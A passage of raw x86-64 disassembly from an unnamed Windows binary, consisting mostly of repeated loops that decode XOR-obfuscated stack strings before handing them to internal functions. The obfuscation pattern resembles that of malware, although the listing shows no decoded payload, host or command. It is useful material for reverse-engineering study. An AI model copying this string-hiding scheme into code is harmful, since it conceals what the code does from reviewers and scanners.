xor byte [rbp - 3], 0x3d
xor al, 0x3e
mov byte [rbp - 2], al
mov eax, dword [str.upix_]
mov dword [rbp - 0x78], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x78], Ordinal_79
xor byte [rbp - 0x77], 0x39
xor byte [rbp - 0x76], 0x3a
xor byte [rbp - 0x75], 0x3b
xor al, 0x3c
mov byte [rbp - 0x74], al
mov r9b, 1
movaps xmm0, xmm14
unpcklps xmm0, xmm9
movq r8, xmm0
lea rdx, [rbp - 8]
lea rcx, [rbp - 0x78]
call fcn.14007f140
movups xmm0, xmmword [0x140145e10]
movups xmmword [rbp + 0xf38], xmm0
mov eax, dword [0x140145e20]
mov dword [rbp + 0xf48], eax
movzx eax, word [0x140145e24]
mov word [rbp + 0xf4c], ax
cmp byte [0x140145e25], 0
je 0x14009dba0
mov r8d, r13d
cmp r12d, 2
jl 0x14009db5b
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xf3c]
mov edx, dword [rbp + 0x17a0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14009da52
cmp r8d, 0x16
jge 0x14009dba0
movsxd rax, r8d
lea r9, [rbp + 0xf38]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x14009db70
movzx eax, word [0x140146920]
mov word [rbp + 0x528], ax
movsd xmm0, qword [0x140146918]
movzx eax, byte [0x140146922]
movsd qword [rbp + 0x520], xmm0
mov byte [rbp + 0x520], 0x53
xor byte [rbp + 0x521], 0x39
xor byte [rbp + 0x522], 0x3a
xor byte [rbp + 0x523], 0x3b
xor byte [rbp + 0x524], 0x3c
xor byte [rbp + 0x525], 0x3d
xor byte [rbp + 0x526], 0x3e
xor byte [rbp + 0x527], 0x3f
xor byte [rbp + 0x528], 0x40
xor byte [rbp + 0x529], 0x41
xor al, 0x42
mov byte [rbp + 0x52a], al
lea r8, [0x1401aa8ea]
lea rdx, [rbp + 0xf38]
lea rcx, [rbp + 0x520]
call fcn.14007f300
movups xmm0, xmmword [str.kQUL]
movups xmmword [rbp + 0x1070], xmm0
movsd xmm0, qword [0x140146de8]
movsd qword [rbp + 0x1080], xmm0
cmp byte [reloc.WLDAP32.dll_Ordinal_79], 0
je 0x14009dde0
cmp r12d, 2
jl 0x14009dda2
movdqa xmm5, xmmword [0x140149500]
mov edx, r13d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x1074]
mov r8d, dword [rbp + 0x17a0]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x14009dca0
jmp 0x14009dde0
lea r9, [rbp + 0x1070]
mov r8d, r13d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x14009ddb0
mov eax, dword [0x140146090]
mov dword [rbp + 0x998], eax
movzx eax, word [0x140146094]
mov word [rbp + 0x99c], ax
movsd xmm0, qword [str.qTTNX]
movzx eax, byte [0x140146096]
movsd qword [rbp + 0x990], xmm0
mov byte [rbp + 0x99e], al
mov r8d, r13d
cmp r12d, 2
jl 0x14009df2c
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.qTTNX]
xorps xmm2, xmm0
movd dword [rbp + 0x990], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x994]
xorps xmm2, xmm1
movd dword [rbp + 0x994], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x990]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14009df40
lea r8, [0x1401a98df]
lea rdx, [rbp + 0x1070]
lea rcx, [rbp + 0x990]
call fcn.14007f300
movups xmm0, xmmword [str.JJenXP__3b_a_62_K]
movups xmmword [rbp + 0xe18], xmm0
mov eax, dword [0x1401457e8]
mov dword [rbp + 0xe28], eax
cmp byte [0x1401457eb], 0
je 0x14009e150
mov r8d, r13d
cmp r12d, 2
jl 0x14009e109
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xe1c]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14009e000
cmp r8d, 0x14
jge 0x14009e150
movsxd rax, r8d
lea r9, [rbp + 0xe18]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14009e120
mov dword [rbp + 0x18d0], 0x1f4
mov dword [rbp + 0x18c8], r13d
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r15
lea rax, [rbp + 0x18d0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x18c8]
lea r8, [0x14016ff3c]
mov edx, 4
lea rcx, [rbp + 0xe18]
call fcn.14003b8c0
movups xmm0, xmmword [0x140145df0]
movups xmmword [rbp + 0x1170], xmm0
movsd xmm0, qword [0x140145e00]
movsd qword [rbp + 0x1180], xmm0
movzx eax, word [0x140145e08]
mov word [rbp + 0x1188], ax
cmp byte [0x140145e09], 0
je 0x14009e360
mov r8d, r13d
cmp r12d, 2
jl 0x14009e31a
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x1174]
mov edx, dword [rbp + 0x17a0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14009e211
cmp r8d, 0x1a
jge 0x14009e360
movsxd rax, r8d
lea r9, [rbp + 0x1170]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14009e330
movups xmm0, xmmword [0x140144338]
movups xmmword [rbp + 0xc20], xmm0
movzx eax, word [0x140144348]
mov word [rbp + 0xc30], ax
cmp byte [0x140144349], 0
je 0x14009e520
mov r8d, r13d
cmp r12d, 2
jl 0x14009e4d9
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xc24]
mov edx, dword [rbp + 0x17a0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14009e3d0
cmp r8d, 0x12
jge 0x14009e520
movsxd rax, r8d
lea r9, [rbp + 0xc20]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x14009e4f0
lea r8, [0x1401ab1dc]
lea rdx, [rbp + 0x1170]
lea rcx, [rbp + 0xc20]
call fcn.14007f300
movups xmm0, xmmword [0x140146ac0]
movups xmmword [rbp + 0xe30], xmm0
mov eax, dword [0x140146ad0]
mov dword [rbp + 0xe40], eax
cmp byte [0x140146ad3], 0
je 0x14009e700
mov r8d, r13d
cmp r12d, 2
jl 0x14009e6b9
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xe34]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14009e5b0
cmp r8d, 0x14
jge 0x14009e700
movsxd rax, r8d
lea r9, [rbp + 0xe30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14009e6d0
mov dword [rbp + 0x18c0], 0x1f4
mov dword [rbp + 0x18b0], r13d
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r15
lea rax, [rbp + 0x18c0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x18b0]
lea r8, reloc.WLDAP32.dll_Ordinal_200
mov edx, 4
lea rcx, [rbp + 0xe30]
call fcn.14003b8c0
movups xmm0, xmmword [str.hVSUHXZ_]
movups xmmword [rbp + 0xbc0], xmm0
movzx eax, byte [0x140144eb8]
mov byte [rbp + 0xbd0], al
mov r8d, r13d
cmp r12d, 2
jl 0x14009e8b9
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xbc4]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14009e7b0
cmp r8d, 0x11
jge 0x14009e900
movsxd rax, r8d
lea r9, [rbp + 0xbc0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14009e8d0
movsd xmm0, qword [str.VWK_NM]
movsd qword [rbp + 0x8b0], xmm0
mov eax, dword [0x140145008]
mov dword [rbp + 0x8b8], eax
movzx eax, word [0x14014500c]
mov word [rbp + 0x8bc], ax
cmp byte [0x14014500d], 0
je 0x14009ea90
mov r8d, r13d
cmp r12d, 2
jl 0x14009ea4c
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.VWK_NM]
xorps xmm2, xmm0
movd dword [rbp + 0x8b0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x8b4]
xorps xmm2, xmm1
movd dword [rbp + 0x8b4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x8b0]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14009ea60
mov r9d, 2
lea r8, [rbp + 0xbc0]
lea rdx, [0x1401ab1e0]
lea rcx, [rbp + 0x8b0]
call fcn.14003b460
movsd xmm0, qword [0x140145870]
movzx eax, byte [0x140145878]
movsd qword [rbp + 0x2c0], xmm0
mov byte [rbp + 0x2c0], 0x55
xor byte [rbp + 0x2c1], 0x39
xor byte [rbp + 0x2c2], 0x3a
xor byte [rbp + 0x2c3], 0x3b
xor byte [rbp + 0x2c4], 0x3c
xor byte [rbp + 0x2c5], 0x3d
xor byte [rbp + 0x2c6], 0x3e
xor byte [rbp + 0x2c7], 0x3f
xor al, 0x40
mov byte [rbp + 0x2c8], al
movups xmm0, xmmword [str.hU_BYO]
movups xmmword [rbp + 0xef0], xmm0
mov eax, dword [0x140144698]
mov dword [rbp + 0xf00], eax
movzx eax, byte [0x14014469c]
mov byte [rbp + 0xf04], al
mov r8d, r13d
cmp r12d, 2
jl 0x14009ec79
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xef4]
mov edx, dword [rbp + 0x17a0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14009eb70
cmp r8d, 0x15
jge 0x14009ecc0
movsxd rax, r8d
lea r9, [rbp + 0xef0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14009ec90
mov r9d, 2
lea r8, [rbp + 0x2c0]
lea rdx, [0x1401ab0fc]
lea rcx, [rbp + 0xef0]
call fcn.14003b460
movzx eax, byte [0x140145418]
movups xmm0, xmmword [0x140145408]
mov byte [rbp + 0xbb8], al
movups xmmword [rbp + 0xba8], xmm0
mov r8d, r13d
